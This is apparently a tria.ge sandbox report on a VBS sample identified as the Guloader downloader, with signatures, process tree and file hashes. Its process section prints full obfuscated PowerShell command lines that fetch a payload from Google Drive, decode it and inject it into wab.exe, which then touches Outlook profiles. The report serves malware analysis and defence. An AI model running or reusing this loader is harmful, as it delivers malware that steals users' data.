Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
135s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
29/03/2024, 02:18
Static task
static1
Behavioral task
behavioral1
Sample
f8e3cac8de2e01c04c8fcf7dd92d9c3187a5a53e40b9c22e4be574bd71217a7a.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
f8e3cac8de2e01c04c8fcf7dd92d9c3187a5a53e40b9c22e4be574bd71217a7a.vbs
Resource
win10v2004-20240226-en
General
-
Target
f8e3cac8de2e01c04c8fcf7dd92d9c3187a5a53e40b9c22e4be574bd71217a7a.vbs
-
Size
178KB
-
MD5
7b01307279c1999f5cc654f75f4d7256
-
SHA1
c6c3c841ca9448c605bae111b74a3d1f9b84788b
-
SHA256
f8e3cac8de2e01c04c8fcf7dd92d9c3187a5a53e40b9c22e4be574bd71217a7a
-
SHA512
01e1c07910f9a0ac077a0c61e27df9af7d90d9070e6cfcdfa1356b78fa608d26b19bafd84f325595c1b1306cec9aebadfffafcabe47639d1b49bbb90eb1cf733
-
SSDEEP
3072:XPvtrVR7t/zhP5AbvMZoxnRcRKKh14t8EIuvQcVi1l8ok/1fyLbvj/3s0oV++hy3:/vdVR7tLhxAbvMZoxnRcsK3M8EIOQcVQ
Malware Config
Signatures
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Blocklisted process makes network request 1 IoCs
flow pid Process 3 2272 WScript.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook wab.exe Key opened \REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook wab.exe Key opened \REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook wab.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
flow ioc 6 drive.google.com 7 drive.google.com 13 drive.google.com 14 drive.google.com -
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
pid Process 2436 wab.exe 2436 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 1432 powershell.exe 2436 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1432 set thread context of 2436 1432 powershell.exe 36 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1492 powershell.exe 1432 powershell.exe 1432 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 1432 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1492 powershell.exe Token: SeDebugPrivilege 1432 powershell.exe Token: SeDebugPrivilege 2436 wab.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2272 wrote to memory of 1492 2272 WScript.exe 28 PID 2272 wrote to memory of 1492 2272 WScript.exe 28 PID 2272 wrote to memory of 1492 2272 WScript.exe 28 PID 1492 wrote to memory of 3028 1492 powershell.exe 30 PID 1492 wrote to memory of 3028 1492 powershell.exe 30 PID 1492 wrote to memory of 3028 1492 powershell.exe 30 PID 1492 wrote to memory of 1432 1492 powershell.exe 32 PID 1492 wrote to memory of 1432 1492 powershell.exe 32 PID 1492 wrote to memory of 1432 1492 powershell.exe 32 PID 1492 wrote to memory of 1432 1492 powershell.exe 32 PID 1432 wrote to memory of 1464 1432 powershell.exe 33 PID 1432 wrote to memory of 1464 1432 powershell.exe 33 PID 1432 wrote to memory of 1464 1432 powershell.exe 33 PID 1432 wrote to memory of 1464 1432 powershell.exe 33 PID 1432 wrote to memory of 2436 1432 powershell.exe 36 PID 1432 wrote to memory of 2436 1432 powershell.exe 36 PID 1432 wrote to memory of 2436 1432 powershell.exe 36 PID 1432 wrote to memory of 2436 1432 powershell.exe 36 PID 1432 wrote to memory of 2436 1432 powershell.exe 36 PID 1432 wrote to memory of 2436 1432 powershell.exe 36 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook wab.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook wab.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f8e3cac8de2e01c04c8fcf7dd92d9c3187a5a53e40b9c22e4be574bd71217a7a.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2272 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Sugernes Frimrkesamler bibelskolen Rezoned kolonialist Trskreriers Rentemarginal #>;$Serafiskes239=(cmd /c set /A 115^^0);Function Joysome ([String]$Arbejdsbeholdningerne){$Serafiskes239=[char][int]$Serafiskes239;$Tiltyard=$Serafiskes239+'ubstring';$Grasserie=8;$Dichroite=Macrodactyl($Arbejdsbeholdningerne);For($Idyls=7; $Idyls -lt $Dichroite; $Idyls+=$Grasserie){$Katakinesis=$Arbejdsbeholdningerne.$Tiltyard.Invoke($Idyls, 1);$Travers=$Travers+$Katakinesis;}$Travers;}function Tatovrens ($Balancekontoens){& ($Bristefrdige) ($Balancekontoens);}function Macrodactyl ([String]$Motorism){$pronounce=$Motorism.Length-1;$pronounce;}$betalingsdagenes=Joysome 'NonvitaTPalaeenr LewiunaGorillan Supr msHo,gastfOverskueStalagmrNonequar Ro.anciFoo falnZyz.yvagRoomtht ';$Fyldte=Joysome 'Frem,ykhSkuldertstivmewtDamfoolpAnalysesGramino:Convoca/Microso/DilapiddScenegurE,velopiLevelhevE hanimeKnoglem.Knit,ergSpdest.o Ye.ggeoRek,isigTrmlksfl SiphoneUnpursu.HostesscRgerri.oMsurklimChemica/UnremituSpotpricDeified? rnevreesek,ionxu ansagpRentesroUntunabrPreinfltS.lvbyg= P,ogradPudi,uno LetvgtwBrutalinnong.rrlHaandfuo Pas,iaaBortsl.dJe.nban&NonprogiPrser,adPlis ys=Svineri1Moenste4PatholoA D sespvdeltaetSStammefcFormaliQYtreal.tFed.kirTSnobbisVEvaporaRjaill kC AmbuscD Unrespn Crissa7RagglesXPlanuriJDoitkinJParabolBVi.coelNUdlufteeNe.sigeGRecrystiEut cia1nonfrag-Un estoYCollo.uNIncumb.nCaution- ProletGBisksspqTokenis4KapitalMSgeproc ';$Bristefrdige=Joysome ' Vekseli Direk eSmaahanxOpaques ';$Sandboxes12=Joysome 'Sgaaend$SurrealgMedundelBrawestoUdsgtunb Ou towaDiabetelSatyrsp:IdeelledOnsdageobordenemGerman.ireint,mnfierasfodilat tbAnemarirsne,oldi TilstakSlaggink Kv.ntiefrihavnrUn ubronHesychaeMultisu Flaade=Postink kommandSBronzittA grelsaNappendrBagkldnt Stande-MultiplBPle,ishiEdriopht Ha.rdhs BestyrT S olelr FumledaUdvejninM ijasjsKartotefStatureehearthrr Exaspe Po,rcon-StimulaSDingeyso Inte cuBehovsurMoe,klac Kirke.e Procul Aff.rin$brevsamFTirithnyForhan,lWarmuppdHalefintMysticeeM,rkeds Alie.at-FormuleDSid,line,lapscuslivsenet F akkei TyvtesnCurbstoaF.mresptR dilatiBanke.doSt atagn Brnd.v Fors.s$h skendHDanskfde Pilm.exHornsgio Godkenn ForbruiPopsyigcReswea ';Tatovrens (Joysome 'Poa.hie$raff.negK mmunelPailleto Bal anbDkningsaSubalg,lUndef,c:ExplicaHent,moleConcannxKommunaoVok.enbnBalan.piBaad,skcA,garot= En,vol$PregrateBoreplanCo.orisvHolleri: Hangara unclutp Pu verp Vivos dTunnellaFlauntetha dlefaamorous ') ;Tatovrens (Joysome 'Ko sekvIProgenimTelefonpOverfrsoHypercurFulzient Fabula-DisilicMAmuserfoEjestedd TeknikuCollyrilGemmeleeSpid,vi oanmodBI,validiFlooragtN npartsmal.rneTIntensarRegistea Maln tn DonoresKnsfo.dfScrappieIn.rigirSa tour ') ;$Hexonic=$Hexonic+'\Tronflgere.Fil' ;Tatovrens (Joysome ' Palpul$NvnesfigA.cederlAvellano SolenobDomin xa.mfitealHoo.sbe:JoculatKLavmaalaUnsavorr.brotintFeminiso brigittBrneopselacinifkBomoliesBookingsHjulkrotWhiteflrLorr suuVampy,dk vlesgrtEksplosuIllegalr ante osSilketr5Graplin8 Fixa i=Frostsi(SourcenTOvertopeKanawarsForhandtLegende-HeltalsPrec uitaSkruebotLnen,eshHindbrr Stavbl$NingpoaH JorieaeSadelmax RefornoSmaakdpnunja,aniGlarmescRedning) Gniere ') ;while (-not $Kartoteksstrukturs58) {Tatovrens (Joysome 'ChristiI Chittafzoacumu Realis (Exorciz$Skom,gedReguleroStockinmRummaali ,ladbanB.aamuso,fsbninbF,eskoer Da.aeliBecensekPaido.okSportabe FeatisrCaperwonCon.ecteA derst.SignalfJForstvnoSulliedbAburaboSSparklit Photo aDign fitStepmineSemicre Sprls,e-Sp.aucheVambracqtaktl h Wonder.$BlomkaabUb.rmhje NightgtAmpliata KoblerlUnderb iDelprocn SlappegHje,nessSuccincdKontorhaTovsopigPlay,ffePumpkinnBulgarieInfantisMellerb) Punkis Le.otho{ .prinkSTidsvr.tOvergivaHgtningr,ornmout Hyperb-AtaghanSalligatlSlikkenetaskense VenskapOverstr Trange1Trevesk}RangskaeAb.eptil gruellsRve elseHeksame{ThermopSPeptidotvespaapaUnequalrRetakestTronhim- bahamaSJobmanclpelsbereL nieste KlyngepPulveri beslag1Aarsvrk;Zai.ersTComputea korreltNoblesso aismatvTumore.rDis.ocaeLigk.stnFashio.sCh ysoc underho$PredivoS RedaktaSkrivesnLuksusjdLbskkrsbJuramenoSk.ffemxKongefaeRaamorbsTangalo1Vante,s2 Passif} Trlast ');Tatovrens (Joysome 'Salgsch$EvidentgVedligelKoo dinoopdi,teb Skruk.aLynchenlSang,ai:Fdsel dKKritisaaEthiop r elek rtPlasmomoSchattet Smrbire ubclinkFremskas ForuresPinnocktHydrargr FishwiuFrontosk PrefratObituaruFriluftrChloritsCetenee5 Frdigk8 Intrad=Monosym(NaughtiT Fr.dnieHoist ns TidsfltSkrmmev-Rafleb,PGsteproaDiamanttDecrepih Tempor semibul$HandfulHEarthwaeLinelikxDecongeoAsmin sn HankeliUnoratocMa chen)pseu,oo ') ;}Tatovrens (Joysome 'nonmedi$TribromgMappemolgiraffloCor entb tritoratantal.lInf.nit:SubstanU ZoltannPrebellnBoge,seiPaahngsmhanoverbLurchinlAccollse TilhrenSiriasiedextrors Testims indbru Earmark=Brsspek ,nclashG CommeneAversiot arshbe-Tils,anCVold.ifo Dra.lenPas.usstBejdspae Stal fnOverf.ltSemibur Vatika$DelmngdH Undecle KoensrxNonpondoPertlinnSocialfiForbytnc,ruttor ');Tatovrens (Joysome 'Anamnio$EserinegOutsweelOffensioConopopbDilat,raRnneboelcolu.bi: MadagaAOmniferpSkilsmioPeri,eltClayineep.keredkNonsusceFlirtatt fd els Telt.ol= Transv Simoni[FarvetaSDistan.yAntiphos Begribt Snrke,e pindsvmBotanis.StjniveCSu.erseoTrommernGrillecvOrki.xjeSlagentrTemperat Mikrof] Ligefr:Mammeys: LokaliFTimetalr Drejebo TreebimDegressBRoundela KtterasLymphaneDagpeng6Unveils4Imper,iSgente ntEnco parFornorsiIrrigatnGennemlgS uderi(Posnani$ AdevisUCopymannSlgtsrenFyldplaiGimmickmvolplanboddernel CalcimePube,aln GrnseeePhyllossScob.ntsSynkop.) ,trava ');Tatovrens (Joysome ' Sko.ne$Chemothg ForesklJolleymoTje.estbNrbilleasu,furil Landsr:Derind DLatterbi GabardoOntolo.sSa tiesp.avallay Condenr UrsicioM,ndates Organi Vognt g=Slkke,t Krympe[AmontilSConsangy,ambarusLggetcrtNaaleneeOlds.ylmgazetsk.IdentitT T talfe Hil ryx.icuspitLuftvej.UnspiraE H.moeonpilote,cErgo.omocommendd PulpieiS.ntonin Forkasg Transp]sandorm:presign:BlandsdA,innatiSProthalC UnderfIDistribIPhotoge.natu.faGStindspe Be tmatO,erflaSTidsnoetJesuitsrRu alisiSpydblanPayrol gmarnies(Havee,e$GasbehoAGuarantp Opgaveo Dybfr t MongoleUnderstk sbesteXanthiutHovedsp)Ottweil ');Tatovrens (Joysome 'Viscero$fremkalgLambyacltsemidloSmooricbGriz,leapecksnilUnpreci: Fu.dstRLyolytio Kr.gsgbskraaskiPuncticnPlagsomsBetonhooDisrespn Laparoa Dem,aud UtricleMiljk,asRefree = Vent s$ ,eportDGlottaliEned.reoSlyngbos Chaisep ForsknyUopholdrFloppyso Sand.isPhra er.SterlansSluiceluPhantopbKelt sksE uitabtcol,ybirFrdselsiLette.fnFjeldryg Tjurhn(Perdil.3 Ngstem0Foreswe5Miscond1Suf,ict9huledee8Fyldepe,Gardinp3Hemmeli2Hofmars5Isdanne7Empover9klagefr) Non ev ');Tatovrens $Robinsonades;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1492 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^03⤵PID:3028
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Sugernes Frimrkesamler bibelskolen Rezoned kolonialist Trskreriers Rentemarginal #>;$Serafiskes239=(cmd /c set /A 115^^0);Function Joysome ([String]$Arbejdsbeholdningerne){$Serafiskes239=[char][int]$Serafiskes239;$Tiltyard=$Serafiskes239+'ubstring';$Grasserie=8;$Dichroite=Macrodactyl($Arbejdsbeholdningerne);For($Idyls=7; $Idyls -lt $Dichroite; $Idyls+=$Grasserie){$Katakinesis=$Arbejdsbeholdningerne.$Tiltyard.Invoke($Idyls, 1);$Travers=$Travers+$Katakinesis;}$Travers;}function Tatovrens ($Balancekontoens){& ($Bristefrdige) ($Balancekontoens);}function Macrodactyl ([String]$Motorism){$pronounce=$Motorism.Length-1;$pronounce;}$betalingsdagenes=Joysome 'NonvitaTPalaeenr LewiunaGorillan Supr msHo,gastfOverskueStalagmrNonequar Ro.anciFoo falnZyz.yvagRoomtht ';$Fyldte=Joysome 'Frem,ykhSkuldertstivmewtDamfoolpAnalysesGramino:Convoca/Microso/DilapiddScenegurE,velopiLevelhevE hanimeKnoglem.Knit,ergSpdest.o Ye.ggeoRek,isigTrmlksfl SiphoneUnpursu.HostesscRgerri.oMsurklimChemica/UnremituSpotpricDeified? rnevreesek,ionxu ansagpRentesroUntunabrPreinfltS.lvbyg= P,ogradPudi,uno LetvgtwBrutalinnong.rrlHaandfuo Pas,iaaBortsl.dJe.nban&NonprogiPrser,adPlis ys=Svineri1Moenste4PatholoA D sespvdeltaetSStammefcFormaliQYtreal.tFed.kirTSnobbisVEvaporaRjaill kC AmbuscD Unrespn Crissa7RagglesXPlanuriJDoitkinJParabolBVi.coelNUdlufteeNe.sigeGRecrystiEut cia1nonfrag-Un estoYCollo.uNIncumb.nCaution- ProletGBisksspqTokenis4KapitalMSgeproc ';$Bristefrdige=Joysome ' Vekseli Direk eSmaahanxOpaques ';$Sandboxes12=Joysome 'Sgaaend$SurrealgMedundelBrawestoUdsgtunb Ou towaDiabetelSatyrsp:IdeelledOnsdageobordenemGerman.ireint,mnfierasfodilat tbAnemarirsne,oldi TilstakSlaggink Kv.ntiefrihavnrUn ubronHesychaeMultisu Flaade=Postink kommandSBronzittA grelsaNappendrBagkldnt Stande-MultiplBPle,ishiEdriopht Ha.rdhs BestyrT S olelr FumledaUdvejninM ijasjsKartotefStatureehearthrr Exaspe Po,rcon-StimulaSDingeyso Inte cuBehovsurMoe,klac Kirke.e Procul Aff.rin$brevsamFTirithnyForhan,lWarmuppdHalefintMysticeeM,rkeds Alie.at-FormuleDSid,line,lapscuslivsenet F akkei TyvtesnCurbstoaF.mresptR dilatiBanke.doSt atagn Brnd.v Fors.s$h skendHDanskfde Pilm.exHornsgio Godkenn ForbruiPopsyigcReswea ';Tatovrens (Joysome 'Poa.hie$raff.negK mmunelPailleto Bal anbDkningsaSubalg,lUndef,c:ExplicaHent,moleConcannxKommunaoVok.enbnBalan.piBaad,skcA,garot= En,vol$PregrateBoreplanCo.orisvHolleri: Hangara unclutp Pu verp Vivos dTunnellaFlauntetha dlefaamorous ') ;Tatovrens (Joysome 'Ko sekvIProgenimTelefonpOverfrsoHypercurFulzient Fabula-DisilicMAmuserfoEjestedd TeknikuCollyrilGemmeleeSpid,vi oanmodBI,validiFlooragtN npartsmal.rneTIntensarRegistea Maln tn DonoresKnsfo.dfScrappieIn.rigirSa tour ') ;$Hexonic=$Hexonic+'\Tronflgere.Fil' ;Tatovrens (Joysome ' Palpul$NvnesfigA.cederlAvellano SolenobDomin xa.mfitealHoo.sbe:JoculatKLavmaalaUnsavorr.brotintFeminiso brigittBrneopselacinifkBomoliesBookingsHjulkrotWhiteflrLorr suuVampy,dk vlesgrtEksplosuIllegalr ante osSilketr5Graplin8 Fixa i=Frostsi(SourcenTOvertopeKanawarsForhandtLegende-HeltalsPrec uitaSkruebotLnen,eshHindbrr Stavbl$NingpoaH JorieaeSadelmax RefornoSmaakdpnunja,aniGlarmescRedning) Gniere ') ;while (-not $Kartoteksstrukturs58) {Tatovrens (Joysome 'ChristiI Chittafzoacumu Realis (Exorciz$Skom,gedReguleroStockinmRummaali ,ladbanB.aamuso,fsbninbF,eskoer Da.aeliBecensekPaido.okSportabe FeatisrCaperwonCon.ecteA derst.SignalfJForstvnoSulliedbAburaboSSparklit Photo aDign fitStepmineSemicre Sprls,e-Sp.aucheVambracqtaktl h Wonder.$BlomkaabUb.rmhje NightgtAmpliata KoblerlUnderb iDelprocn SlappegHje,nessSuccincdKontorhaTovsopigPlay,ffePumpkinnBulgarieInfantisMellerb) Punkis Le.otho{ .prinkSTidsvr.tOvergivaHgtningr,ornmout Hyperb-AtaghanSalligatlSlikkenetaskense VenskapOverstr Trange1Trevesk}RangskaeAb.eptil gruellsRve elseHeksame{ThermopSPeptidotvespaapaUnequalrRetakestTronhim- bahamaSJobmanclpelsbereL nieste KlyngepPulveri beslag1Aarsvrk;Zai.ersTComputea korreltNoblesso aismatvTumore.rDis.ocaeLigk.stnFashio.sCh ysoc underho$PredivoS RedaktaSkrivesnLuksusjdLbskkrsbJuramenoSk.ffemxKongefaeRaamorbsTangalo1Vante,s2 Passif} Trlast ');Tatovrens (Joysome 'Salgsch$EvidentgVedligelKoo dinoopdi,teb Skruk.aLynchenlSang,ai:Fdsel dKKritisaaEthiop r elek rtPlasmomoSchattet Smrbire ubclinkFremskas ForuresPinnocktHydrargr FishwiuFrontosk PrefratObituaruFriluftrChloritsCetenee5 Frdigk8 Intrad=Monosym(NaughtiT Fr.dnieHoist ns TidsfltSkrmmev-Rafleb,PGsteproaDiamanttDecrepih Tempor semibul$HandfulHEarthwaeLinelikxDecongeoAsmin sn HankeliUnoratocMa chen)pseu,oo ') ;}Tatovrens (Joysome 'nonmedi$TribromgMappemolgiraffloCor entb tritoratantal.lInf.nit:SubstanU ZoltannPrebellnBoge,seiPaahngsmhanoverbLurchinlAccollse TilhrenSiriasiedextrors Testims indbru Earmark=Brsspek ,nclashG CommeneAversiot arshbe-Tils,anCVold.ifo Dra.lenPas.usstBejdspae Stal fnOverf.ltSemibur Vatika$DelmngdH Undecle KoensrxNonpondoPertlinnSocialfiForbytnc,ruttor ');Tatovrens (Joysome 'Anamnio$EserinegOutsweelOffensioConopopbDilat,raRnneboelcolu.bi: MadagaAOmniferpSkilsmioPeri,eltClayineep.keredkNonsusceFlirtatt fd els Telt.ol= Transv Simoni[FarvetaSDistan.yAntiphos Begribt Snrke,e pindsvmBotanis.StjniveCSu.erseoTrommernGrillecvOrki.xjeSlagentrTemperat Mikrof] Ligefr:Mammeys: LokaliFTimetalr Drejebo TreebimDegressBRoundela KtterasLymphaneDagpeng6Unveils4Imper,iSgente ntEnco parFornorsiIrrigatnGennemlgS uderi(Posnani$ AdevisUCopymannSlgtsrenFyldplaiGimmickmvolplanboddernel CalcimePube,aln GrnseeePhyllossScob.ntsSynkop.) ,trava ');Tatovrens (Joysome ' Sko.ne$Chemothg ForesklJolleymoTje.estbNrbilleasu,furil Landsr:Derind DLatterbi GabardoOntolo.sSa tiesp.avallay Condenr UrsicioM,ndates Organi Vognt g=Slkke,t Krympe[AmontilSConsangy,ambarusLggetcrtNaaleneeOlds.ylmgazetsk.IdentitT T talfe Hil ryx.icuspitLuftvej.UnspiraE H.moeonpilote,cErgo.omocommendd PulpieiS.ntonin Forkasg Transp]sandorm:presign:BlandsdA,innatiSProthalC UnderfIDistribIPhotoge.natu.faGStindspe Be tmatO,erflaSTidsnoetJesuitsrRu alisiSpydblanPayrol gmarnies(Havee,e$GasbehoAGuarantp Opgaveo Dybfr t MongoleUnderstk sbesteXanthiutHovedsp)Ottweil ');Tatovrens (Joysome 'Viscero$fremkalgLambyacltsemidloSmooricbGriz,leapecksnilUnpreci: Fu.dstRLyolytio Kr.gsgbskraaskiPuncticnPlagsomsBetonhooDisrespn Laparoa Dem,aud UtricleMiljk,asRefree = Vent s$ ,eportDGlottaliEned.reoSlyngbos Chaisep ForsknyUopholdrFloppyso Sand.isPhra er.SterlansSluiceluPhantopbKelt sksE uitabtcol,ybirFrdselsiLette.fnFjeldryg Tjurhn(Perdil.3 Ngstem0Foreswe5Miscond1Suf,ict9huledee8Fyldepe,Gardinp3Hemmeli2Hofmars5Isdanne7Empover9klagefr) Non ev ');Tatovrens $Robinsonades;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1432 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^04⤵PID:1464
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:2436
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5acf6599e16905895532c02b0acc0173f
SHA123c3ed9433b9c01ce340b244340f4882259adcd6
SHA2561bf756074cdeb8a2e30b4af3d759ae2ec9ff105cf496bd6ff4dbe74d898ad23c
SHA5129d6c4f2bc040c5fa78a8d9d849b2621f69b170985364873ceb0a75b7ba9583b08c0c3fe9639df265e019c8f56a7c350c9c4309cadc7036e997142a912d902fc1
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD577f4aff01e13b0fceb671e0d31b3007f
SHA18606e9dc7351c2cf08cd00b1aa92bb6e928057e6
SHA256ce9063ca7526e46d83cf4c33a27b502be6d775362e2b515144407821f67700af
SHA512768714203c18acab269e44dfefc66923d3a886fc34834a9836e4f159d0053a814bbcd51fd0a5fefd15a2a819280229b98df9496d05dbb0097649b7b32d88c093
-
Filesize
68KB
MD529f65ba8e88c063813cc50a4ea544e93
SHA105a7040d5c127e68c25d81cc51271ffb8bef3568
SHA2561ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
-
Filesize
3KB
MD5fb201198683c51cae72e03e19cdb6a8b
SHA1ad45c4069609ee7450fcff72647de71004d9cea5
SHA25654f87ff637150ac2c052db7fe4212b809e0f898a34c2e45718ce11b31437fb33
SHA5128288dffb124a09c34c1de500c6f1b6bbb6d65e611f903b9f504c284b54c940990661cf5056d9c22c53ac6128b7f39bad0876df5e8f192352f7a9005b0f886689
-
Filesize
5KB
MD590d14bf6eaae03816cf0528c88025d78
SHA19899b7ba5d48d92c881d276e58524e4e4ca589c1
SHA256e3d6e6df540588734e8323ddd8af6d7d77aa0bfc77e8f26e36cd9e49522ba18f
SHA512b4992c08cedee1c3bd6b0611abc058e800ce8dcca9f29c025d1db8bdccaa413c5d4ee4ab08bf2fa7763dff55e17c531729f04f7b0ecfae65a9c637cc544ddcaf
-
Filesize
2KB
MD5b4208a7e78e01f6dff6d8f55e75f9d04
SHA15faeaf941a94841309ecd00001b3bf248c7186bb
SHA25625e56d3ad767f6a3d0d0484eb89a4703ab1f0c604978be192e357abeda36c62f
SHA5121fcdccf5e5d4dfe29f72f5ce7fe0a73d54fc407660b0894bce9cb9483d55ed7d774091462b7c95a481165c445c901bb97741f797a9be28aac985c06dc1ce0217
-
Filesize
177KB
MD5435a9ac180383f9fa094131b173a2f7b
SHA176944ea657a9db94f9a4bef38f88c46ed4166983
SHA25667dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA5121a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
-
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2461186416-2307104501-1787948496-1000\0f5007522459c86e95ffcc62f32308f1_0f07e186-1bdc-490d-8c6e-7c4aeae2b85a
Filesize46B
MD5d898504a722bff1524134c6ab6a5eaa5
SHA1e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA51226a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61
-
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2461186416-2307104501-1787948496-1000\0f5007522459c86e95ffcc62f32308f1_0f07e186-1bdc-490d-8c6e-7c4aeae2b85a
Filesize46B
MD5c07225d4e7d01d31042965f048728a0a
SHA169d70b340fd9f44c89adb9a2278df84faa9906b7
SHA2568c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA51223d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VSKRXDME4XVK4VRGI62D.temp
Filesize7KB
MD532bf364cd28f6f62b6dc01ca0e620ea3
SHA1649ad726cc883d853b907adab08027b130b16f9c
SHA256c1b0c0f4e66863f73a8e52853d8be741f638444bae22a41045c6d8d9d80b50d8
SHA5129174367cefcc93bbfd014aafebf0b19c152516101e760e2fbc7bc9f5b22b74d1884db67590fb51e74cf7296672644abecacc6d1631685cf78da230052e287ab0